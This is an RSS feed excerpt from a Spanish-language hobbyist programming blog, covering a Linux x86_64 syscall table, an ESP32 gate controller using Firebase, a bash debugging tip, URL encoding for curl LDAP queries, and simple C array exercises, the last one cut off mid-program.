</span></span><span style="display:flex;"><span>214 64 epoll_ctl_old
</span></span><span style="display:flex;"><span>215 64 epoll_wait_old
</span></span><span style="display:flex;"><span>216 common remap_file_pages sys_remap_file_pages
</span></span><span style="display:flex;"><span>217 common getdents64 sys_getdents64
</span></span><span style="display:flex;"><span>218 common set_tid_address sys_set_tid_address
</span></span><span style="display:flex;"><span>219 common restart_syscall sys_restart_syscall
</span></span><span style="display:flex;"><span>220 common semtimedop sys_semtimedop
</span></span><span style="display:flex;"><span>221 common fadvise64 sys_fadvise64
</span></span><span style="display:flex;"><span>222 64 timer_create sys_timer_create
</span></span><span style="display:flex;"><span>223 common timer_settime sys_timer_settime
</span></span><span style="display:flex;"><span>224 common timer_gettime sys_timer_gettime
</span></span><span style="display:flex;"><span>225 common timer_getoverrun sys_timer_getoverrun
</span></span><span style="display:flex;"><span>226 common timer_delete sys_timer_delete
</span></span><span style="display:flex;"><span>227 common clock_settime sys_clock_settime
</span></span><span style="display:flex;"><span>228 common clock_gettime sys_clock_gettime
</span></span><span style="display:flex;"><span>229 common clock_getres sys_clock_getres
</span></span><span style="display:flex;"><span>230 common clock_nanosleep sys_clock_nanosleep
</span></span><span style="display:flex;"><span>231 common exit_group sys_exit_group - noreturn
</span></span><span style="display:flex;"><span>232 common epoll_wait sys_epoll_wait
</span></span><span style="display:flex;"><span>233 common epoll_ctl sys_epoll_ctl
</span></span><span style="display:flex;"><span>234 common tgkill sys_tgkill
</span></span><span style="display:flex;"><span>235 common utimes sys_utimes
</span></span><span style="display:flex;"><span>236 64 vserver
</span></span><span style="display:flex;"><span>237 common mbind sys_mbind
</span></span><span style="display:flex;"><span>238 common set_mempolicy sys_set_mempolicy
</span></span><span style="display:flex;"><span>239 common get_mempolicy sys_get_mempolicy
</span></span><span style="display:flex;"><span>240 common mq_open sys_mq_open
</span></span><span style="display:flex;"><span>241 common mq_unlink sys_mq_unlink
</span></span><span style="display:flex;"><span>242 common mq_timedsend sys_mq_timedsend
</span></span><span style="display:flex;"><span>243 common mq_timedreceive sys_mq_timedreceive
</span></span><span style="display:flex;"><span>244 64 mq_notify sys_mq_notify
</span></span><span style="display:flex;"><span>245 common mq_getsetattr sys_mq_getsetattr
</span></span><span style="display:flex;"><span>246 64 kexec_load sys_kexec_load
</span></span><span style="display:flex;"><span>247 64 waitid sys_waitid
</span></span><span style="display:flex;"><span>248 common add_key sys_add_key
</span></span><span style="display:flex;"><span>249 common request_key sys_request_key
</span></span><span style="display:flex;"><span>250 common keyctl sys_keyctl
</span></span><span style="display:flex;"><span>251 common ioprio_set sys_ioprio_set
</span></span><span style="display:flex;"><span>252 common ioprio_get sys_ioprio_get
</span></span><span style="display:flex;"><span>253 common inotify_init sys_inotify_init
</span></span><span style="display:flex;"><span>254 common inotify_add_watch sys_inotify_add_watch
</span></span><span style="display:flex;"><span>255 common inotify_rm_watch sys_inotify_rm_watch
</span></span><span style="display:flex;"><span>256 common migrate_pages sys_migrate_pages
</span></span><span style="display:flex;"><span>257 common openat sys_openat
</span></span><span style="display:flex;"><span>258 common mkdirat sys_mkdirat
</span></span><span style="display:flex;"><span>259 common mknodat sys_mknodat
</span></span><span style="display:flex;"><span>260 common fchownat sys_fchownat
</span></span><span style="display:flex;"><span>261 common futimesat sys_futimesat
</span></span><span style="display:flex;"><span>262 common newfstatat sys_newfstatat
</span></span><span style="display:flex;"><span>263 common unlinkat sys_unlinkat
</span></span><span style="display:flex;"><span>264 common renameat sys_renameat
</span></span><span style="display:flex;"><span>265 common linkat sys_linkat
</span></span><span style="display:flex;"><span>266 common symlinkat sys_symlinkat
</span></span><span style="display:flex;"><span>267 common readlinkat sys_readlinkat
</span></span><span style="display:flex;"><span>268 common fchmodat sys_fchmodat
</span></span><span style="display:flex;"><span>269 common faccessat sys_faccessat
</span></span><span style="display:flex;"><span>270 common pselect6 sys_pselect6
</span></span><span style="display:flex;"><span>271 common ppoll sys_ppoll
</span></span><span style="display:flex;"><span>272 common unshare sys_unshare
</span></span><span style="display:flex;"><span>273 64 set_robust_list sys_set_robust_list
</span></span><span style="display:flex;"><span>274 64 get_robust_list sys_get_robust_list
</span></span><span style="display:flex;"><span>275 common splice sys_splice
</span></span><span style="display:flex;"><span>276 common tee sys_tee
</span></span><span style="display:flex;"><span>277 common sync_file_range sys_sync_file_range
</span></span><span style="display:flex;"><span>278 64 vmsplice sys_vmsplice
</span></span><span style="display:flex;"><span>279 64 move_pages sys_move_pages
</span></span><span style="display:flex;"><span>280 common utimensat sys_utimensat
</span></span><span style="display:flex;"><span>281 common epoll_pwait sys_epoll_pwait
</span></span><span style="display:flex;"><span>282 common signalfd sys_signalfd
</span></span><span style="display:flex;"><span>283 common timerfd_create sys_timerfd_create
</span></span><span style="display:flex;"><span>284 common eventfd sys_eventfd
</span></span><span style="display:flex;"><span>285 common fallocate sys_fallocate
</span></span><span style="display:flex;"><span>286 common timerfd_settime sys_timerfd_settime
</span></span><span style="display:flex;"><span>287 common timerfd_gettime sys_timerfd_gettime
</span></span><span style="display:flex;"><span>288 common accept4 sys_accept4
</span></span><span style="display:flex;"><span>289 common signalfd4 sys_signalfd4
</span></span><span style="display:flex;"><span>290 common eventfd2 sys_eventfd2
</span></span><span style="display:flex;"><span>291 common epoll_create1 sys_epoll_create1
</span></span><span style="display:flex;"><span>292 common dup3 sys_dup3
</span></span><span style="display:flex;"><span>293 common pipe2 sys_pipe2
</span></span><span style="display:flex;"><span>294 common inotify_init1 sys_inotify_init1
</span></span><span style="display:flex;"><span>295 64 preadv sys_preadv
</span></span><span style="display:flex;"><span>296 64 pwritev sys_pwritev
</span></span><span style="display:flex;"><span>297 64 rt_tgsigqueueinfo sys_rt_tgsigqueueinfo
</span></span><span style="display:flex;"><span>298 common perf_event_open sys_perf_event_open
</span></span><span style="display:flex;"><span>299 64 recvmmsg sys_recvmmsg
</span></span><span style="display:flex;"><span>300 common fanotify_init sys_fanotify_init
</span></span><span style="display:flex;"><span>301 common fanotify_mark sys_fanotify_mark
</span></span><span style="display:flex;"><span>302 common prlimit64 sys_prlimit64
</span></span><span style="display:flex;"><span>303 common name_to_handle_at sys_name_to_handle_at
</span></span><span style="display:flex;"><span>304 common open_by_handle_at sys_open_by_handle_at
</span></span><span style="display:flex;"><span>305 common clock_adjtime sys_clock_adjtime
</span></span><span style="display:flex;"><span>306 common syncfs sys_syncfs
</span></span><span style="display:flex;"><span>307 64 sendmmsg sys_sendmmsg
</span></span><span style="display:flex;"><span>308 common setns sys_setns
</span></span><span style="display:flex;"><span>309 common getcpu sys_getcpu
</span></span><span style="display:flex;"><span>310 64 process_vm_readv sys_process_vm_readv
</span></span><span style="display:flex;"><span>311 64 process_vm_writev sys_process_vm_writev
</span></span><span style="display:flex;"><span>312 common kcmp sys_kcmp
</span></span><span style="display:flex;"><span>313 common finit_module sys_finit_module
</span></span><span style="display:flex;"><span>314 common sched_setattr sys_sched_setattr
</span></span><span style="display:flex;"><span>315 common sched_getattr sys_sched_getattr
</span></span><span style="display:flex;"><span>316 common renameat2 sys_renameat2
</span></span><span style="display:flex;"><span>317 common seccomp sys_seccomp
</span></span><span style="display:flex;"><span>318 common getrandom sys_getrandom
</span></span><span style="display:flex;"><span>319 common memfd_create sys_memfd_create
</span></span><span style="display:flex;"><span>320 common kexec_file_load sys_kexec_file_load
</span></span><span style="display:flex;"><span>321 common bpf sys_bpf
</span></span><span style="display:flex;"><span>322 64 execveat sys_execveat
</span></span><span style="display:flex;"><span>323 common userfaultfd sys_userfaultfd
</span></span><span style="display:flex;"><span>324 common membarrier sys_membarrier
</span></span><span style="display:flex;"><span>325 common mlock2 sys_mlock2
</span></span><span style="display:flex;"><span>326 common copy_file_range sys_copy_file_range
</span></span><span style="display:flex;"><span>327 64 preadv2 sys_preadv2
</span></span><span style="display:flex;"><span>328 64 pwritev2 sys_pwritev2
</span></span><span style="display:flex;"><span>329 common pkey_mprotect sys_pkey_mprotect
</span></span><span style="display:flex;"><span>330 common pkey_alloc sys_pkey_alloc
</span></span><span style="display:flex;"><span>331 common pkey_free sys_pkey_free
</span></span><span style="display:flex;"><span>332 common statx sys_statx
</span></span><span style="display:flex;"><span>333 common io_pgetevents sys_io_pgetevents
</span></span><span style="display:flex;"><span>334 common rseq sys_rseq
</span></span><span style="display:flex;"><span>335 common uretprobe sys_uretprobe
</span></span><span style="display:flex;"><span><span style="color:#75715e"># don't use numbers 387 through 423, add new calls after the last</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 'common' entry</span>
</span></span><span style="display:flex;"><span>424 common pidfd_send_signal sys_pidfd_send_signal
</span></span><span style="display:flex;"><span>425 common io_uring_setup sys_io_uring_setup
</span></span><span style="display:flex;"><span>426 common io_uring_enter sys_io_uring_enter
</span></span><span style="display:flex;"><span>427 common io_uring_register sys_io_uring_register
</span></span><span style="display:flex;"><span>428 common open_tree sys_open_tree
</span></span><span style="display:flex;"><span>429 common move_mount sys_move_mount
</span></span><span style="display:flex;"><span>430 common fsopen sys_fsopen
</span></span><span style="display:flex;"><span>431 common fsconfig sys_fsconfig
</span></span><span style="display:flex;"><span>432 common fsmount sys_fsmount
</span></span><span style="display:flex;"><span>433 common fspick sys_fspick
</span></span><span style="display:flex;"><span>434 common pidfd_open sys_pidfd_open
</span></span><span style="display:flex;"><span>435 common clone3 sys_clone3
</span></span><span style="display:flex;"><span>436 common close_range sys_close_range
</span></span><span style="display:flex;"><span>437 common openat2 sys_openat2
</span></span><span style="display:flex;"><span>438 common pidfd_getfd sys_pidfd_getfd
</span></span><span style="display:flex;"><span>439 common faccessat2 sys_faccessat2
</span></span><span style="display:flex;"><span>440 common process_madvise sys_process_madvise
</span></span><span style="display:flex;"><span>441 common epoll_pwait2 sys_epoll_pwait2
</span></span><span style="display:flex;"><span>442 common mount_setattr sys_mount_setattr
</span></span><span style="display:flex;"><span>443 common quotactl_fd sys_quotactl_fd
</span></span><span style="display:flex;"><span>444 common landlock_create_ruleset sys_landlock_create_ruleset
</span></span><span style="display:flex;"><span>445 common landlock_add_rule sys_landlock_add_rule
</span></span><span style="display:flex;"><span>446 common landlock_restrict_self sys_landlock_restrict_self
</span></span><span style="display:flex;"><span>447 common memfd_secret sys_memfd_secret
</span></span><span style="display:flex;"><span>448 common process_mrelease sys_process_mrelease
</span></span><span style="display:flex;"><span>449 common futex_waitv sys_futex_waitv
</span></span><span style="display:flex;"><span>450 common set_mempolicy_home_node sys_set_mempolicy_home_node
</span></span><span style="display:flex;"><span>451 common cachestat sys_cachestat
</span></span><span style="display:flex;"><span>452 common fchmodat2 sys_fchmodat2
</span></span><span style="display:flex;"><span>453 common map_shadow_stack sys_map_shadow_stack
</span></span><span style="display:flex;"><span>454 common futex_wake sys_futex_wake
</span></span><span style="display:flex;"><span>455 common futex_wait sys_futex_wait
</span></span><span style="display:flex;"><span>456 common futex_requeue sys_futex_requeue
</span></span><span style="display:flex;"><span>457 common statmount sys_statmount
</span></span><span style="display:flex;"><span>458 common listmount sys_listmount
</span></span><span style="display:flex;"><span>459 common lsm_get_self_attr sys_lsm_get_self_attr
</span></span><span style="display:flex;"><span>460 common lsm_set_self_attr sys_lsm_set_self_attr
</span></span><span style="display:flex;"><span>461 common lsm_list_modules sys_lsm_list_modules
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">462</span> common mseal sys_mseal
</span></span><span style="display:flex;"><span>463 common setxattrat sys_setxattrat
</span></span><span style="display:flex;"><span>464 common getxattrat sys_getxattrat
</span></span><span style="display:flex;"><span>465 common listxattrat sys_listxattrat
</span></span><span style="display:flex;"><span>466 common removexattrat sys_removexattrat
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Due to a historical design error, certain syscalls are numbered differently</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># in x32 as compared to native x86_64. These syscalls have numbers 512-547.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Do not add new syscalls to this range. Numbers 548 and above are available</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># for non-x32 use.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span>512 x32 rt_sigaction compat_sys_rt_sigaction
</span></span><span style="display:flex;"><span>513 x32 rt_sigreturn compat_sys_x32_rt_sigreturn
</span></span><span style="display:flex;"><span>514 x32 ioctl compat_sys_ioctl
</span></span><span style="display:flex;"><span>515 x32 readv sys_readv
</span></span><span style="display:flex;"><span>516 x32 writev sys_writev
</span></span><span style="display:flex;"><span>517 x32 recvfrom compat_sys_recvfrom
</span></span><span style="display:flex;"><span>518 x32 sendmsg compat_sys_sendmsg
</span></span><span style="display:flex;"><span>519 x32 recvmsg compat_sys_recvmsg
</span></span><span style="display:flex;"><span>520 x32 execve compat_sys_execve
</span></span><span style="display:flex;"><span>521 x32 ptrace compat_sys_ptrace
</span></span><span style="display:flex;"><span>522 x32 rt_sigpending compat_sys_rt_sigpending
</span></span><span style="display:flex;"><span>523 x32 rt_sigtimedwait compat_sys_rt_sigtimedwait_time64
</span></span><span style="display:flex;"><span>524 x32 rt_sigqueueinfo compat_sys_rt_sigqueueinfo
</span></span><span style="display:flex;"><span>525 x32 sigaltstack compat_sys_sigaltstack
</span></span><span style="display:flex;"><span>526 x32 timer_create compat_sys_timer_create
</span></span><span style="display:flex;"><span>527 x32 mq_notify compat_sys_mq_notify
</span></span><span style="display:flex;"><span>528 x32 kexec_load compat_sys_kexec_load
</span></span><span style="display:flex;"><span>529 x32 waitid compat_sys_waitid
</span></span><span style="display:flex;"><span>530 x32 set_robust_list compat_sys_set_robust_list
</span></span><span style="display:flex;"><span>531 x32 get_robust_list compat_sys_get_robust_list
</span></span><span style="display:flex;"><span>532 x32 vmsplice sys_vmsplice
</span></span><span style="display:flex;"><span>533 x32 move_pages sys_move_pages
</span></span><span style="display:flex;"><span>534 x32 preadv compat_sys_preadv64
</span></span><span style="display:flex;"><span>535 x32 pwritev compat_sys_pwritev64
</span></span><span style="display:flex;"><span>536 x32 rt_tgsigqueueinfo compat_sys_rt_tgsigqueueinfo
</span></span><span style="display:flex;"><span>537 x32 recvmmsg compat_sys_recvmmsg_time64
</span></span><span style="display:flex;"><span>538 x32 sendmmsg compat_sys_sendmmsg
</span></span><span style="display:flex;"><span>539 x32 process_vm_readv sys_process_vm_readv
</span></span><span style="display:flex;"><span>540 x32 process_vm_writev sys_process_vm_writev
</span></span><span style="display:flex;"><span>541 x32 setsockopt sys_setsockopt
</span></span><span style="display:flex;"><span>542 x32 getsockopt sys_getsockopt
</span></span><span style="display:flex;"><span>543 x32 io_setup compat_sys_io_setup
</span></span><span style="display:flex;"><span>544 x32 io_submit compat_sys_io_submit
</span></span><span style="display:flex;"><span>545 x32 execveat compat_sys_execveat
</span></span><span style="display:flex;"><span>546 x32 preadv2 compat_sys_preadv64v2
</span></span><span style="display:flex;"><span>547 x32 pwritev2 compat_sys_pwritev64v2
</span></span><span style="display:flex;"><span><span style="color:#75715e"># This is the end of the legacy x32 range. Numbers 548 and above are</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># not special and are not to be used for x32-specific syscalls.</span>
</span></span></code></pre></div>
-
Controlar portón con Firebase
https://imlauera.github.io/controlar_porton_firebase/
Mon, 03 Feb 2025 16:51:42 -0300
https://imlauera.github.io/controlar_porton_firebase/
<p>Antes de hacer esto grabé un servidor web en el ESP32 para abrir el portón pero funcionaba <strong>MAL</strong> se desconectaba el servidor y cuando andaba tenía mucho lag.</p>
<p>Tenía que conectarme al WiFi y acceder a la URL: http://192.168.0.25/32/on para abrir y cerrar http://192.168.0.25/32/off</p>
<hr>
<p>MIT APP INVENTOR: <a href="https://ai2.appinventor.mit.edu/">https://ai2.appinventor.mit.edu/</a></p>
<p>Le cambié por 0 y 1:</p>
<p><strong>Nota</strong>: El programa compartido en esta URL no me funcionó porque usa una librería vieja de Firebase y no me dió el código de la librería vieja tuve que usar otro codigo para el ESP32 pero sí usé la aplicación creada en el MIT APP solo hice unas pequeñas modificaciones como el PIN de salida y el nombre y el ícono de la app y la URL del firebase, etc.</p>
-
Debugear bash
https://imlauera.github.io/debugear_bash/
Mon, 03 Feb 2025 11:35:33 -0300
https://imlauera.github.io/debugear_bash/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#e6db74">$'\r'</span> : command not found
</span></span></code></pre></div><p>Solución: bash -x scripts/f1.sh borrá el último caracter nulo al final de la línea o donde sea que esté el argumento <code>-x</code> te lo mostrará.</p>
<p>You will need to use “percent encoding” in the URL to encode the special character.
<a href="https://www.w3schools.com/tags/ref_urlencode.ASP">https://www.w3schools.com/tags/ref_urlencode.ASP</a></p>
<p>For example, when testing an LDAP URL using curl, the below command will work in
previous versions of curl:</p>
<pre tabindex="0"><code>curl -v "ldap://[ip address]:389/OU=Active Service Accounts,OU=Service Accounts,OU=Co
However this will fail in the newer versions with the error "URL rejected: Malformed
input to a URL function". You will need to replace the space with "%20" like below:
curl -v ldap://[ip address]:389/OU=Active%20Service%20Accounts,OU=Service%20Accounts,
Feedback
</code></pre>
-
Mezclar dos arreglos
https://imlauera.github.io/mezclar_dos_arreglos/
Sun, 02 Feb 2025 20:53:13 -0300
https://imlauera.github.io/mezclar_dos_arreglos/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdlib.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> len;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>array;
</span></span><span style="display:flex;"><span>}size_array;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(){
</span></span><span style="display:flex;"><span> size_array arr1 <span style="color:#f92672">=</span> { <span style="color:#ae81ff">20</span>, NULL };
</span></span><span style="display:flex;"><span> arr1.array <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(arr1.len<span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(<span style="color:#f92672">*</span>arr1.array));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> size_array arr2 <span style="color:#f92672">=</span> { <span style="color:#ae81ff">10</span>, NULL };
</span></span><span style="display:flex;"><span> arr2.array <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(arr2.len<span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(<span style="color:#f92672">*</span>arr2.array));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> arr1.len; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> arr1.array[i] <span style="color:#f92672">=</span> i<span style="color:#f92672">+</span><span style="color:#ae81ff">4</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Array 1:"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> arr1.len; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (i <span style="color:#f92672">==</span> arr1.len<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>) <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%d"</span>, arr1.array[i]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%d,"</span>, arr1.array[i]);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> arr2.len; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> arr2.array[i] <span style="color:#f92672">=</span> i<span style="color:#f92672">+</span><span style="color:#ae81ff">24</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Array 2:"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> arr2.len; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (i <span style="color:#f92672">==</span> arr2.len<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>) <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%d"</span>, arr2.array[i]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%d,"</span>, arr2.array[i]);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> size_array arr3 <span style="color:#f92672">=</span> { arr1.len<span style="color:#f92672">+</span>arr2.len, NULL };
</span></span><span style="display:flex;"><span> arr3.array <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(arr3.len<span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(<span style="color:#f92672">*</span>arr3.array));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> j <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> arr3.len; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (i <span style="color:#f92672"><</span> arr1.len){
</span></span><span style="display:flex;"><span> arr3.array[i] <span style="color:#f92672">=</span> arr1.array[i];
</span></span><span style="display:flex;"><span> }<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span> arr3.array[i] <span style="color:#f92672">=</span> arr2.array[j<span style="color:#f92672">++</span>];
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Merge array: "</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> arr3.len; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (i <span style="color:#f92672">==</span> arr3.len<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>) <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%d"</span>, arr3.array[i]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%d,"</span>, arr3.array[i]);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Sizeof(int) vs sizeof *var
https://imlauera.github.io/sizeofint_vs_sizeofvar/
Sun, 02 Feb 2025 20:22:06 -0300
https://imlauera.github.io/sizeofint_vs_sizeofvar/
<p>Un profesor me dijo que no debería usar.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>array <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#66d9ef">sizeof</span> <span style="color:#f92672">*</span>array <span style="color:#f92672">*</span> length);
</span></span></code></pre></div><p>And that it should instead be:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>array <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(length <span style="color:#f92672">*</span> <span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">int</span>));
</span></span></code></pre></div><p>Both are valid, but many veteran programmers will prefer the way you did it.</p>
<p>The advantage of using sizeof *array as opposed to sizeof(int) is that if you happen
to change the type of array then you don’t need to change how you do the allocation.</p>
<p>There’s also no technical reason to multiply by length first instead of the element
size. If anything, when looking at a call to malloc the first thing you want to know
is how many “things” you’re allocating, so from a readability standpoint putting the
length first might make more sense. On the other hand, because the result of the
sizeof operator is unsigned, putting it first guarantees that the math is done with
unsigned types if you have multiple array dimensions.</p>
-
C: Rotar array derecha
https://imlauera.github.io/rotar_array_derecha/
Sun, 02 Feb 2025 19:56:29 -0300
https://imlauera.github.io/rotar_array_derecha/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdlib.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> myarray {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> len;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>array;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> myarray arr <span style="color:#f92672">=</span> { <span style="color:#ae81ff">4</span>, NULL };
</span></span><span style="display:flex;"><span> arr.array <span style="color:#f92672">=</span> (<span style="color:#66d9ef">int</span><span style="color:#f92672">*</span>)<span style="color:#a6e22e">malloc</span>(arr.len<span style="color:#f92672">*</span><span style="color:#66d9ef">sizeof</span>(arr.array));
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> movimientos;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Cuantos movimientos querés rotar hacia la derecha?: "</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">scanf</span>(<span style="color:#e6db74">"%d"</span>,<span style="color:#f92672">&</span>movimientos);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> arr.len; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> arr.array[i] <span style="color:#f92672">=</span> i<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> movimientos; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> myarray arr2 <span style="color:#f92672">=</span> { arr.len , NULL };
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Armo un nuevo array con los 3 elementos menos exceptuando el primero
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// y el último elemento será el primero.
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// 4 movimientos
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// [1,2,3,4]
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// [4,1,2,3]
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// [3,4,1,2]
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// [2,3,4,1]
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// [1,2,3,4]
